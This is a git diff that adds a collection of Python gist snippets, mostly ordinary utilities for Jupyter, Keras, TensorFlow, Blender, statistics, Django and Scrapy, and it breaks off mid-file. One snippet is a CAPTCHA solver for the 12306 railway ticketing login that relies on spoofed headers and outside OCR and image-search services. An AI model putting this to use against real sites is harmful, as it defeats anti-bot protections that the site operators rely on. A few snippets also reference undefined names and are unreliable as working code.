Binary files /dev/null and b/hard-gists/f97205b73610dd30254652e7817f99cb/._snippet.py differ
diff --git a/hard-gists/f97205b73610dd30254652e7817f99cb/snippet.py b/hard-gists/f97205b73610dd30254652e7817f99cb/snippet.py
new file mode 100644
index 00000000..f00aff08
--- /dev/null
+++ b/hard-gists/f97205b73610dd30254652e7817f99cb/snippet.py
@@ -0,0 +1,20 @@
+# solution for:
+# https://stackoverflow.com/questions/12544056/how-to-i-get-the-current-ipython-notebook-name
+#
+# aimed at:
+# IPython 4.2.0 and Python 3.5
+
+import json
+import os
+import urllib.request
+import ipykernel
+connection_file_path = ipykernel.get_connection_file()
+connection_file = os.path.basename(connection_file_path)
+kernel_id = connection_file.split('-', 1)[1].split('.')[0]
+
+response = urllib.request.urlopen('http://127.0.0.1:8888/api/sessions')
+sessions = json.loads(response.read().decode())
+for sess in sessions:
+    if sess['kernel']['id'] == kernel_id:
+        print(sess['notebook']['path'])
+        break
\ No newline at end of file
diff --git a/hard-gists/fa0647722365f5a4b2ad/._snippet.py b/hard-gists/fa0647722365f5a4b2ad/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fa0647722365f5a4b2ad/._snippet.py differ
diff --git a/hard-gists/fa0647722365f5a4b2ad/snippet.py b/hard-gists/fa0647722365f5a4b2ad/snippet.py
new file mode 100644
index 00000000..b2f9caca
--- /dev/null
+++ b/hard-gists/fa0647722365f5a4b2ad/snippet.py
@@ -0,0 +1,33 @@
+# Clickable Files by nofxx
+"""files.py - Clickable Files URIs open in Emacs"""
+import re
+import terminatorlib.plugin as plugin
+import subprocess
+
+# Every plugin you want Terminator to load *must* be listed in 'AVAILABLE'
+AVAILABLE = ['FileURLHandler']
+
+class FileURLHandler(plugin.URLHandler):
+    capabilities = ['url_handler']
+    handler_name = 'file_path'
+
+    # Match any non-space string starting with an alphanumericm or a slash
+    # and ending with a colon followed by a number
+    match = r'[a-zA-Z0-9\.\/][^ ]+:[[:digit:]]+|[a-zA-Z0-9\/][^ ]+\([[:digit:]]+\)'
+
+    def callback(self, url):
+        # Change file(N) to file:N
+        url = re.sub('[\)]', '', re.sub('[\(]', ':', url))
+        # Change file#N to file:N
+        url = re.sub('[#]', ':', url)
+        # Split result match file:line:col
+        params = url.split(':')
+        if len(params) == 3:
+          fname, line, col = params
+          opts = "+" + line + ":" + col
+        else:
+          fname, line = params
+          opts = "+" + line
+        print "Opening..." + fname + "#" + opts
+        subprocess.call(["emacsclient", "-n", opts, fname])
+        return "some_nice_shining_string"
diff --git a/hard-gists/fa287fc6448f84004284f5c086f59661/._snippet.py b/hard-gists/fa287fc6448f84004284f5c086f59661/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fa287fc6448f84004284f5c086f59661/._snippet.py differ
diff --git a/hard-gists/fa287fc6448f84004284f5c086f59661/snippet.py b/hard-gists/fa287fc6448f84004284f5c086f59661/snippet.py
new file mode 100644
index 00000000..06ae23da
--- /dev/null
+++ b/hard-gists/fa287fc6448f84004284f5c086f59661/snippet.py
@@ -0,0 +1,77 @@
+import keras.backend as K
+
+def FScore2(y_true, y_pred):
+    '''
+    The F score, beta=2
+    '''
+    B2 = K.variable(4)
+    OnePlusB2 = K.variable(5)
+    pred = K.round(y_pred)
+    tp = K.sum(K.cast(K.less(K.abs(pred - K.clip(y_true, .5, 1.)), 0.01), 'float32'), -1)
+    fp = K.sum(K.cast(K.greater(pred - y_true, 0.1), 'float32'), -1)
+    fn = K.sum(K.cast(K.less(pred - y_true, -0.1), 'float32'), -1)
+
+    f2 = OnePlusB2 * tp / (OnePlusB2 * tp + B2 * fn + fp)
+
+    return K.mean(f2)
+
+def FScore2_python(y_true, y_pred):
+    '''
+    python implementation of F_B Score, B=2
+    # Inputs
+        y_true: list of lists of 'true' values
+        y_pred: list of lists of predicted values
+    # Outputs
+        returns the average F score
+    '''
+    B = 2
+    B2 = B ** 2
+    OnePlusB2 = 1 + B2
+    FScore = []
+
+    for i, true in enumerate(y_true):
+        true = [int(category) for category in true]
+        pred = [int(round(category)) for category in y_pred[i]]
+
+        true_positives = 0
+        false_positives = 0
+        false_negatives = 0
+        for j, true_cat in enumerate(true):
+            if true_cat == 1:
+                if y_pred[i][j] == 1:
+                    true_positives += 1
+                else:
+                    false_negatives += 1
+            elif y_pred[i][j] == 1:
+                false_positives += 1
+
+        _fscore = OnePlusB2 * true_positives / (OnePlusB2 * true_positives + B2 * false_negatives + false_positives)
+        FScore.append(_fscore)
+
+    avg = 0
+    n = len(FScore)
+    for score in FScore:
+        avg += score/n
+
+    return avg
+
+def test_FScore2():
+    '''test for FScore2'''
+    # Test 1:
+    y_true = [[1, 0, 0, 1],
+              [0, 1, 0, 1]]
+    y_pred = [[1, 1, 1, 1],
+              [1, 0, 1, 1]]
+
+    score_python = FScore2_python(y_true, y_pred)
+
+    y_true = K.constant(y_true)
+    y_pred = K.constant(y_pred)
+    score_keras = K.eval(FScore2(y_true, y_pred))
+    print('python:', score_python)
+    print('keras:', score_keras)
+    assert(abs(score_keras-score_python) < 0.0001)
+    print('Test 1 passed!')
+
+if __name__ == "__main__":
+    test_FScore2()
\ No newline at end of file
diff --git a/hard-gists/fa43af59f3ecf9b10c88/._snippet.py b/hard-gists/fa43af59f3ecf9b10c88/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fa43af59f3ecf9b10c88/._snippet.py differ
diff --git a/hard-gists/fa43af59f3ecf9b10c88/snippet.py b/hard-gists/fa43af59f3ecf9b10c88/snippet.py
new file mode 100644
index 00000000..6e0fb5b0
--- /dev/null
+++ b/hard-gists/fa43af59f3ecf9b10c88/snippet.py
@@ -0,0 +1,48 @@
+# IMPORTS: THIS SCRIPT REQUIRES THE PACKAGES PYLAB AND MOVIEPY
+# It produces this gif: http://i.imgur.com/LbU55oK.gif
+
+from pylab import *
+import moviepy.editor as mp
+from moviepy.video.io.bindings import mplfig_to_npimage
+
+
+# PARAMETERS OF THE CURVE AND THE GIF
+
+curve = lambda t : ( cos(80*t) - cos(t)**3, sin(t) -  sin(80*t)**3 )
+
+curve_latex = (r"$\left(\,\, \cos(80t) - \cos(t^3),\,\,\,"
+              +r"\sin(t) -  \sin(80t)^3 \,\,\right)$")
+
+t_min=0
+t_max = 2*pi
+number_of_points = 20000 
+
+gif_name = "test.gif"
+gif_duration = 5
+gif_fps = 15
+
+
+
+# PRECOMPUTE THE CURVE
+
+times = linspace(0, 2*pi, number_of_points)
+curve_x, curve_y = zip(*[curve(t) for t in times])
+
+# INITIALIZE THE FIGURE
+
+fig, ax = subplots(1, figsize=(4,4), facecolor='white')
+ax.axis("off")
+ax.set_title(fun_latex)
+line, = ax.plot(curve_x, curve_y)
+
+# ANIMATE WITH MOVIEPY
+
+def make_frame(t):
+    index_max = int( (1.0*t/clip_duration)*number_of_points)
+    line.set_xdata(curve_x[:index_max])
+    line.set_ydata(curve_y[:index_max])
+    return mplfig_to_npimage(fig)
+
+clip = mp.VideoClip(make_frame, duration=gif_duration)
+clip = clip.fx( mp.vfx.freeze, t='end', freeze_duration=1)
+clip.write_gif(gif_name, fps=gif_fps)
\ No newline at end of file
diff --git a/hard-gists/fa5755c7f7fa49b47961/._snippet.py b/hard-gists/fa5755c7f7fa49b47961/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fa5755c7f7fa49b47961/._snippet.py differ
diff --git a/hard-gists/fa5755c7f7fa49b47961/snippet.py b/hard-gists/fa5755c7f7fa49b47961/snippet.py
new file mode 100644
index 00000000..b175f121
--- /dev/null
+++ b/hard-gists/fa5755c7f7fa49b47961/snippet.py
@@ -0,0 +1,101 @@
+"""Illustration for various types of namespace scopes in TensorFlow.
+
+> python tf_scopes.py
+foo_name_scoped :
+	v.name= v:0
+	v2.name= foo_name_scoped/v2:0
+	a.name= Variable:0
+	b.name= Variable_1:0
+	result_op.name= foo_name_scoped/Add:0
+foo_op_scoped :
+	v.name= v_:0
+	v2.name= foo_op_scoped/v2:0
+	a.name= Variable_2:0
+	b.name= Variable_3:0
+	result_op.name= foo_op_scoped/Add:0
+foo_variable_scoped :
+	v.name= foo_variable_scoped/v:0
+	v2.name= foo_variable_scoped/v2:0
+	a.name= Variable_4:0
+	b.name= Variable_5:0
+	result_op.name= foo_variable_scoped/Add:0
+foo_variable_op_scoped :
+	v.name= foo_variable_op_scoped/v:0
+	v2.name= foo_variable_op_scoped/v2:0
+	a.name= Variable_6:0
+	b.name= Variable_7:0
+	result_op.name= foo_variable_op_scoped/Add:0
+"""
+import tensorflow as tf
+import traceback
+
+def func_name():
+  return traceback.extract_stack(None, 2)[0][2]
+
+def foo_name_scoped(a, b):
+  name = func_name()
+  print name, ":"
+  with tf.name_scope(func_name()) as scope:
+    v = tf.get_variable("v", 1)
+    v2 = tf.Variable([0], name="v2")
+    print "\tv.name=", v.name
+    print "\tv2.name=", v2.name
+    result_op = tf.add(a, b)
+  print "\ta.name=", a.name
+  print "\tb.name=", b.name
+  print "\tresult_op.name=", result_op.name
+  return tf.add(a,b)
+
+def foo_op_scoped(a, b):
+  name = func_name()
+  print name, ":"
+  with tf.op_scope([a,b], func_name()) as scope:
+    # Variable 'v' already defined in unnamed variable scope by foo_name_scoped
+    v = tf.get_variable("v_", 1)
+    v2 = tf.Variable([0], name="v2")
+    print "\tv.name=", v.name
+    print "\tv2.name=", v2.name
+    result_op = tf.add(a, b)
+  print "\ta.name=", a.name
+  print "\tb.name=", b.name
+  print "\tresult_op.name=", result_op.name
+  return tf.add(a,b)
+
+def foo_variable_scoped(a, b):
+  name = func_name()
+  print name, ":"
+  with tf.variable_scope(func_name()) as scope:
+    v = tf.get_variable("v", 1)
+    v2 = tf.Variable([0], name="v2")
+    print "\tv.name=", v.name
+    print "\tv2.name=", v2.name
+    result_op = tf.add(a, b)
+  print "\ta.name=", a.name
+  print "\tb.name=", b.name
+  print "\tresult_op.name=", result_op.name
+  return tf.add(a,b)
+
+def foo_variable_op_scoped(a, b):
+  name = func_name()
+  print name, ":"
+  # name is not uniquified
+  # default_name is used when name is None and it is uniquified.
+  with tf.variable_op_scope([a,b], name=None, default_name=func_name()) as scope:
+    v = tf.get_variable("v", 1)
+    v2 = tf.Variable([0], name="v2")
+    print "\tv.name=", v.name
+    print "\tv2.name=", v2.name
+    result_op = tf.add(a, b)
+  print "\ta.name=", a.name
+  print "\tb.name=", b.name
+  print "\tresult_op.name=", result_op.name
+  return tf.add(a,b)
+
+def main(unused_argv):
+  foo_name_scoped(tf.Variable(1), tf.Variable(2))
+  foo_op_scoped(tf.Variable(1), tf.Variable(2))
+  foo_variable_scoped(tf.Variable(1), tf.Variable(2))
+  foo_variable_op_scoped(tf.Variable(1), tf.Variable(2))
+
+if __name__ == '__main__':
+  app.run()
\ No newline at end of file
diff --git a/hard-gists/fb9d710bd20579771b40/._snippet.py b/hard-gists/fb9d710bd20579771b40/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fb9d710bd20579771b40/._snippet.py differ
diff --git a/hard-gists/fb9d710bd20579771b40/snippet.py b/hard-gists/fb9d710bd20579771b40/snippet.py
new file mode 100644
index 00000000..877f3c2d
--- /dev/null
+++ b/hard-gists/fb9d710bd20579771b40/snippet.py
@@ -0,0 +1,33 @@
+bl_info = {
+    "name": "Export animation frames as mesh files",
+    "category": "Export",
+}
+
+import bpy
+
+class frameExportMesh( bpy.types.Operator):
+    """Export animation frames as mesh files."""
+    bl_idname = "frame.export_mesh"
+    bl_label = "Export frames as mesh files"
+    bl_options = {'REGISTER'}
+    
+    def execute(self, context):
+        scene = context.scene
+
+        for frame in range( scene.frame_start, scene.frame_end):
+            scene.frame_set(frame)
+            scene.update()
+            the_path = bpy.path.abspath('//')
+            the_file = scene.name + "_" + str( scene.frame_current) + ".stl"
+            bpy.ops.export_mesh.stl(filepath = the_path + the_file)
+        
+        return {'FINISHED'}
+    
+def register():
+    bpy.utils.register_class(frameExportMesh)
+    
+def unregister():
+    bpy.utils.unregister_class(frameExportMesh)
+        
+if __name__ == "__main__":
+    register() 
diff --git a/hard-gists/fbadce83877a36622720/._snippet.py b/hard-gists/fbadce83877a36622720/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fbadce83877a36622720/._snippet.py differ
diff --git a/hard-gists/fbadce83877a36622720/snippet.py b/hard-gists/fbadce83877a36622720/snippet.py
new file mode 100644
index 00000000..f73e0b4f
--- /dev/null
+++ b/hard-gists/fbadce83877a36622720/snippet.py
@@ -0,0 +1,26 @@
+# for http://blender.stackexchange.com/questions/32787/example-of-creating-and-setting-a-cycles-material-node-with-the-python-api
+
+import bpy
+
+# get the material
+mat = bpy.data.materials['Material']
+# get the nodes
+nodes = mat.node_tree.nodes
+
+# clear all nodes to start clean
+for node in nodes:
+    nodes.remove(node)
+
+# create emission node
+node_ani = nodes.new(type='ShaderNodeBsdfAnisotropic')
+node_ani.inputs[0].default_value = (0,1,0,1)  # green RGBA
+node_ani.inputs[1].default_value = 5.0 # strength
+node_ani.location = 0,0
+
+# create output node
+node_output = nodes.new(type='ShaderNodeOutputMaterial')   
+node_output.location = 400,0
+
+# link nodes
+links = mat.node_tree.links
+link = links.new(node_ani.outputs[0], node_output.inputs[0])
\ No newline at end of file
diff --git a/hard-gists/fbb19b73fa25423f02e8/._snippet.py b/hard-gists/fbb19b73fa25423f02e8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fbb19b73fa25423f02e8/._snippet.py differ
diff --git a/hard-gists/fbb19b73fa25423f02e8/snippet.py b/hard-gists/fbb19b73fa25423f02e8/snippet.py
new file mode 100644
index 00000000..3338d654
--- /dev/null
+++ b/hard-gists/fbb19b73fa25423f02e8/snippet.py
@@ -0,0 +1,127 @@
+import numpy as np
+from scipy import stats
+from itertools import combinations
+from statsmodels.stats.multitest import multipletests
+from statsmodels.stats.libqsturng import psturng
+import warnings
+
+
+def kw_dunn(groups, to_compare=None, alpha=0.05, method='bonf'):
+    """
+
+    Kruskal-Wallis 1-way ANOVA with Dunn's multiple comparison test
+
+    Arguments:
+    ---------------
+    groups: sequence
+        arrays corresponding to k mutually independent samples from
+        continuous populations
+
+    to_compare: sequence
+        tuples specifying the indices of pairs of groups to compare, e.g.
+        [(0, 1), (0, 2)] would compare group 0 with 1 & 2. by default, all
+        possible pairwise comparisons between groups are performed.
+
+    alpha: float
+        family-wise error rate used for correcting for multiple comparisons
+        (see statsmodels.stats.multitest.multipletests for details)
+
+    method: string
+        method used to adjust p-values to account for multiple corrections (see
+        statsmodels.stats.multitest.multipletests for options)
+
+    Returns:
+    ---------------
+    H: float
+        Kruskal-Wallis H-statistic
+
+    p_omnibus: float
+        p-value corresponding to the global null hypothesis that the medians of
+        the groups are all equal
+
+    Z_pairs: float array
+        Z-scores computed for the absolute difference in mean ranks for each
+        pairwise comparison
+
+    p_corrected: float array
+        corrected p-values for each pairwise comparison, corresponding to the
+        null hypothesis that the pair of groups has equal medians. note that
+        these are only meaningful if the global null hypothesis is rejected.
+
+    reject: bool array
+        True for pairs where the null hypothesis can be rejected for the given
+        alpha
+
+    Reference:
+    ---------------
+    Gibbons, J. D., & Chakraborti, S. (2011). Nonparametric Statistical
+    Inference (5th ed., pp. 353-357). Boca Raton, FL: Chapman & Hall.
+
+    """
+
+    # omnibus test (K-W ANOVA)
+    # -------------------------------------------------------------------------
+
+    groups = [np.array(gg) for gg in groups]
+
+    k = len(groups)
+
+    n = np.array([len(gg) for gg in groups])
+    if np.any(n < 5):
+        warnings.warn("Sample sizes < 5 are not recommended (K-W test assumes "
+                      "a chi square distribution)")
+
+    allgroups = np.concatenate(groups)
+    N = len(allgroups)
+    ranked = stats.rankdata(allgroups)
+
+    # correction factor for ties
+    T = stats.tiecorrect(ranked)
+    if T == 0:
+        raise ValueError('All numbers are identical in kruskal')
+
+    # sum of ranks for each group
+    j = np.insert(np.cumsum(n), 0, 0)
+    R = np.empty(k, dtype=np.float)
+    for ii in range(k):
+        R[ii] = ranked[j[ii]:j[ii + 1]].sum()
+
+    # the Kruskal-Wallis H-statistic
+    H = (12. / (N * (N + 1.))) * ((R ** 2.) / n).sum() - 3 * (N + 1)
+
+    # apply correction factor for ties
+    H /= T
+
+    df_omnibus = k - 1
+    p_omnibus = stats.chisqprob(H, df_omnibus)
+
+    # multiple comparisons
+    # -------------------------------------------------------------------------
+
+    # by default we compare every possible pair of groups
+    if to_compare is None:
+        to_compare = tuple(combinations(range(k), 2))
+
+    ncomp = len(to_compare)
+
+    Z_pairs = np.empty(ncomp, dtype=np.float)
+    p_uncorrected = np.empty(ncomp, dtype=np.float)
+    Rmean = R / n
+
+    for pp, (ii, jj) in enumerate(to_compare):
+
+        # standardized score
+        Zij = (np.abs(Rmean[ii] - Rmean[jj]) /
+               np.sqrt((1. / 12.) * N * (N + 1) * (1. / n[ii] + 1. / n[jj])))
+        Z_pairs[pp] = Zij
+
+    # corresponding p-values obtained from upper quantiles of the standard
+    # normal distribution
+    p_uncorrected = stats.norm.sf(Z_pairs) * 2.
+
+    # correction for multiple comparisons
+    reject, p_corrected, alphac_sidak, alphac_bonf = multipletests(
+        p_uncorrected, method=method
+    )
+
+    return H, p_omnibus, Z_pairs, p_corrected, reject
diff --git a/hard-gists/fbbdb1ba7c66cc4e1bb2/._snippet.py b/hard-gists/fbbdb1ba7c66cc4e1bb2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fbbdb1ba7c66cc4e1bb2/._snippet.py differ
diff --git a/hard-gists/fbbdb1ba7c66cc4e1bb2/snippet.py b/hard-gists/fbbdb1ba7c66cc4e1bb2/snippet.py
new file mode 100644
index 00000000..09fa1c1c
--- /dev/null
+++ b/hard-gists/fbbdb1ba7c66cc4e1bb2/snippet.py
@@ -0,0 +1,145 @@
+#!/usr/bin/env python
+# coding=utf8
+# author=evi1m0
+# website=linux.im
+
+'''
+    12306 Captcha Picture:
+    author: Evi1m0@20150316
+        1. Download Captcha
+        2. Pic Conver Text
+        3. Return result
+'''
+
+import re
+import time
+import json
+import urllib
+import urllib2
+import requests
+
+from PIL import Image
+
+
+def downloadImg():
+    pic_file = int(time.time())
+    pic_url = "https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=login&rand=sjrand"
+    print '[+] Download Picture: {}'.format(pic_url)
+    try:
+        resp = requests.get(pic_url, verify=False, timeout=5)
+    except:
+        resp = requests.get(pic_url, verify=False, timeout=3)
+    with open("./12306_pic/%s.jpg"%pic_file, 'wb') as fp:
+        fp.write(resp.content)
+    return pic_file
+
+def imgCut():
+    pic_file = downloadImg()
+    pic_path = "./12306_pic/%s.jpg" % pic_file
+    pic_text_path = './12306_pic/%s_text.jpg' % pic_file
+    pic_obj = Image.open(pic_path)
+    box = (120,0,290,25)
+    region = pic_obj.crop(box)
+    region.save(pic_text_path)
+    print '[*] Picture Text Picture: {}'.format(pic_text_path)
+    return pic_path, pic_text_path
+
+def ocrApi(filename):
+    # Text picture conver text.
+    upload_pic_url = "http://cn.docs88.com/pdftowordupload2.php"
+    headers_fake = {
+            'ccept': '*/*',
+            'Accept-Encoding': 'gzip, deflate',
+            'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6',
+            'Connection': 'keep-alive',
+            'Host': 'cn.docs88.com',
+            'Origin': 'http://cn.docs88.com',
+            'User-Agent': 'Mozilla/5.0 (KHTML, like Gecko) Chrome/41.0.2272.89',
+            'X-Requested-With': 'ShockwaveFlash/17.0.0.134',
+            }
+    filename_tmp = filename.split('/')[-1]
+    pic_text_content = open(filename).read()
+    para = {'Filename': filename_tmp,
+           'sourcename': filename_tmp,
+           'sourcelanguage': 'cn',
+           'desttype': 'txt',
+           'Upload': 'Submit Query',}
+    upload_pic = requests.post(upload_pic_url, data=para, files={"Filedata" : open(filename, 'rb')}, headers=headers_fake)
+    time.sleep(2)
+    text_result_url = 'http://cn.docs88.com/' + upload_pic.content[3:]
+    text_result = requests.get(text_result_url)
+    if text_result.status_code == 200:
+        print '[*] Text: {}'.format(text_result.content)
+    else:
+        print '[-] False'
+    return text_result.content
+
+
+'''
+    baidu stu
+    author: andelf
+'''
+def baidu_stu_html_extract(html):
+    pattern = re.compile(r"keywords:'(.*?)'")
+    matches = pattern.findall(html)
+    if not matches:
+        return '[UNKOWN]'
+    json_str = matches[0]
+    json_str = json_str.replace('\\x22', '"').replace('\\\\', '\\')
+    result = [item['keyword'] for item in json.loads(json_str)]
+    return '|'.join(result) if result else '[UNKOWN]'
+
+def baidu_stu_lookup(im):
+    url = ("http://stu.baidu.com/n/image?fr=html5&needRawImageUrl=true&id="
+          "WU_FILE_0&name=233.png&type=image%2Fpng&lastModifiedDate=Mon+Mar"
+          "+16+2015+20%3A49%3A11+GMT%2B0800+(CST)&size=")
+    im.save("./query_temp_img.png")
+    raw = open("./query_temp_img.png", 'rb').read()
+    url = url + str(len(raw))
+    req = urllib2.Request(url, raw, {'Content-Type':'image/png', 'User-Agent':UA})
+    resp = urllib2.urlopen(req)
+    resp_url = resp.read()      # return a pure url
+    url = "http://stu.baidu.com/n/searchpc?queryImageUrl=" + urllib.quote(resp_url)
+    req = urllib2.Request(url, headers={'User-Agent':UA})
+    resp = urllib2.urlopen(req)
+    html = resp.read()
+    return baidu_stu_html_extract(html)
+
+def get_sub_img(pic_text_path, x, y):
+    im = Image.open(pic_text_path)
+    assert 0 <= x <= 3
+    assert 0 <= y <= 2
+    WITH = HEIGHT = 68
+    left = 5 + (67 + 5) * x
+    top = 41 + (67 + 5) * y
+    right = left + 67
+    bottom = top + 67
+    return im.crop((left, top, right, bottom))
+
+
+if __name__ == '__main__':
+    UA = "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36"
+    pic_path, pic_text_path = imgCut()
+    captcha_text = ocrApi(pic_text_path)
+    dict_list = {}
+    count = 0
+    for y in range(2):
+        for x in range(4):
+            count += 1
+            im2 = get_sub_img(pic_path, x, y)
+            result = baidu_stu_lookup(im2)
+            dict_list[count] = result
+            print (y,x), result
+    if captcha_text.strip() > 2:
+        print '\n[*] Maybe the result of the:'
+        maybe_result = []
+        for v in dict_list:
+            for c in range(len(unicode(captcha_text.strip(), 'utf8'))):
+                text = unicode(captcha_text, 'utf8')[c]
+                if text in dict_list[v]:
+                    _str_res = '%s --- %s' % (v, dict_list[v])
+                    maybe_result.append(_str_res)
+        for r in list(set(maybe_result)):
+            print r
+    else:
+        print '[-] False'
diff --git a/hard-gists/fbca5503c391c265f958f49b60af6bae/._snippet.py b/hard-gists/fbca5503c391c265f958f49b60af6bae/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fbca5503c391c265f958f49b60af6bae/._snippet.py differ
diff --git a/hard-gists/fbca5503c391c265f958f49b60af6bae/snippet.py b/hard-gists/fbca5503c391c265f958f49b60af6bae/snippet.py
new file mode 100644
index 00000000..abbba621
--- /dev/null
+++ b/hard-gists/fbca5503c391c265f958f49b60af6bae/snippet.py
@@ -0,0 +1,42 @@
+# This extracts png images from the 
+# packed/pickle'd cifar-100 dataset 
+# available at http://www.cs.toronto.edu/~kriz/cifar.html
+#
+# No Rights Reserved/ CC0
+# Say thanks @whereismatthi on Twitter if it's useful
+#
+# probably requires python3
+# definitely requires PyPNG: pip3 install pypng
+
+import pickle
+import os
+import png
+
+for batch in ('test', 'train'):
+   fpath = os.path.join('cifar-100-python', batch)
+
+   f = open(fpath, 'rb')
+   labels = pickle.load(open(os.path.join('cifar-100-python', 'meta'), 'rb'), encoding="ASCII")
+
+   d = pickle.load(f, encoding='bytes')
+   # decode utf8
+   d_decoded = {}
+   for k, v in d.items():
+      d_decoded[k.decode('utf8')] = v
+
+   d = d_decoded
+   f.close()
+
+   for i, filename in enumerate(d['filenames']):
+      folder = os.path.join(
+         'data',
+         'cifar100',
+         batch,
+         labels['coarse_label_names'][d['coarse_labels'][i]],
+         labels['fine_label_names'][d['fine_labels'][i]]
+      )
+      os.makedirs(folder, exist_ok=True)
+      q = d['data'][i]
+      print(filename)
+      with open(os.path.join(folder, filename.decode()), 'wb') as outfile:
+         png.from_array(q.reshape((32, 32, 3), order='F').swapaxes(0,1), mode='RGB').save(outfile)
diff --git a/hard-gists/fbecc71022b62515a484a4a33d13014d/._snippet.py b/hard-gists/fbecc71022b62515a484a4a33d13014d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fbecc71022b62515a484a4a33d13014d/._snippet.py differ
diff --git a/hard-gists/fbecc71022b62515a484a4a33d13014d/snippet.py b/hard-gists/fbecc71022b62515a484a4a33d13014d/snippet.py
new file mode 100644
index 00000000..15fe47e5
--- /dev/null
+++ b/hard-gists/fbecc71022b62515a484a4a33d13014d/snippet.py
@@ -0,0 +1,124 @@
+"""
+Logical deletion for Django models. Uses is_void flag
+to hide discarded items from queries. Overrides delete
+methods to set flag and soft-delete instead of removing
+rows from the database.
+"""
+from django.apps import apps
+from django.contrib.admin.utils import NestedObjects
+from django.db import models
+from django.db.models import signals
+
+class DeleteNotPermitted(Exception):
+    pass
+
+class ObjectIsVoid(models.ObjectDoesNotExist):
+    pass
+
+class AppQuerySet(models.QuerySet):
+    def _wrap(self, func, args, kwargs):
+        """
+        If an object doesn't exist, check to see if it exists. If it doesn't, remove the
+        `is_void` filter and raise IsVoid exception if found.
+        """
+        try:
+            r = func(*args, **kwargs)
+        except self.model.DoesNotExist, e:
+            for node in self.query.where.children[:]:
+                if hasattr(node, 'children'):
+                    for child in node.children:
+                        if child.lhs.target.attname == 'is_void':
+                            node.children.remove(child)
+                    if not node.children:
+                        self.query.where.children.remove(node)
+            q = super(AppQuerySet, self).filter(*args, **kwargs)
+            if q.exists():
+                raise self.model.IsVoid('Object exists but is void.')
+            else:
+                raise e
+        return r
+
+    def get(self, *args, **kwargs):
+        return self._wrap(
+            super(AppQuerySet, self).get, args, kwargs
+        )
+
+    def get_or_create(self, *args, **kwargs):
+        return self._wrap(
+            super(AppQuerySet, self).get_or_create, args, kwargs
+        )
+
+    def delete(self, cascade=True, **kwargs):
+        if self.model.PREVENT_DELETE:
+            raise DeleteNotPermitted()
+        if cascade:
+            for obj in self.all():
+                obj.delete()
+        else:
+            return self.update(is_void=True)
+
+class AppManager(models.Manager):
+    queryset_class = AppQuerySet
+    use_for_related_fields = True
+
+    def get_queryset(self, exclude_void=True):
+        q = self.queryset_class(self.model)
+        if hasattr(self, 'core_filters'):
+            q = q.filter(
+                **self.core_filters
+            )
+
+        if exclude_void:
+            q = q.exclude(is_void=True)
+        return q
+
+    def all_objects_including_void(self):
+        return self.get_queryset(exclude_void=False)
+
+class AppModelMeta(type(models.Model)):
+    def __new__(cls, name, parents, dct):
+        new_class = super(AppModelMeta, cls).__new__(cls, name, parents, dct)
+        if hasattr(new_class, 'DoesNotExist'):
+            new_class.IsVoid = type('IsVoid', (new_class.DoesNotExist, ObjectIsVoid), {})
+        return new_class
+
+class AppModel(models.Model):
+    __metaclass__ = AppModelMeta
+
+    PREVENT_DELETE = False
+    is_void = models.BooleanField(default=False)
+    objects = AppManager()
+
+    class Meta:
+        abstract = True
+
+    def delete(self, cascade=True, **kwargs):
+        if self.PREVENT_DELETE:
+            raise DeleteNotPermitted()
+
+        if cascade:
+            collector = NestedObjects(using='default')
+            collector.collect([self])
+            field_updates = collector.field_updates
+            for cls, to_update in field_updates.iteritems():
+                for (field, value), instances in to_update.iteritems():
+                    cls.objects.filter(
+                        pk__in={o.pk for o in instances}
+                    ).update(
+                        **{field.attname: value}
+                    )
+            for klass, objs in collector.data.iteritems():
+                try:
+                    klass._meta.get_field('is_void')
+                except models.FieldDoesNotExist:
+                    pass
+                else:
+                    klass.objects.filter(pk__in={o.pk for o in objs}).update(
+                        is_void=True
+                    )
+        else:
+            self.is_void = True
+            self.save()
+        signals.post_delete.send(
+            sender=self.__class__, instance=self
+        )
\ No newline at end of file
diff --git a/hard-gists/fc1527d6d9492b59c610/._snippet.py b/hard-gists/fc1527d6d9492b59c610/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fc1527d6d9492b59c610/._snippet.py differ
diff --git a/hard-gists/fc1527d6d9492b59c610/snippet.py b/hard-gists/fc1527d6d9492b59c610/snippet.py
new file mode 100644
index 00000000..3c8719f6
--- /dev/null
+++ b/hard-gists/fc1527d6d9492b59c610/snippet.py
@@ -0,0 +1,87 @@
+import json
+
+from scrapy.crawler import Crawler
+from scrapy.contrib.loader import ItemLoader
+from scrapy.contrib.loader.processor import Join, MapCompose, TakeFirst
+from scrapy import log, signals, Spider, Item, Field
+from scrapy.settings import Settings
+from twisted.internet import reactor
+
+
+# define an item class
+class DmozItem(Item):
+    title = Field()
+    link = Field()
+    desc = Field()
+
+
+# define an item loader with input and output processors
+class DmozItemLoader(ItemLoader):
+    default_input_processor = MapCompose(unicode.strip)
+    default_output_processor = TakeFirst()
+
+    desc_out = Join()
+
+
+# define a pipeline
+class JsonWriterPipeline(object):
+    def __init__(self):
+        self.file = open('items.jl', 'wb')
+
+    def process_item(self, item, spider):
+        line = json.dumps(dict(item)) + "\n"
+        self.file.write(line)
+        return item
+
+
+# define a spider
+class DmozSpider(Spider):
+    name = "dmoz"
+    allowed_domains = ["dmoz.org"]
+    start_urls = [
+        "http://www.dmoz.org/Computers/Programming/Languages/Python/Books/",
+        "http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/"
+    ]
+
+    def parse(self, response):
+        for sel in response.xpath('//ul/li'):
+            loader = DmozItemLoader(DmozItem(), selector=sel, response=response)
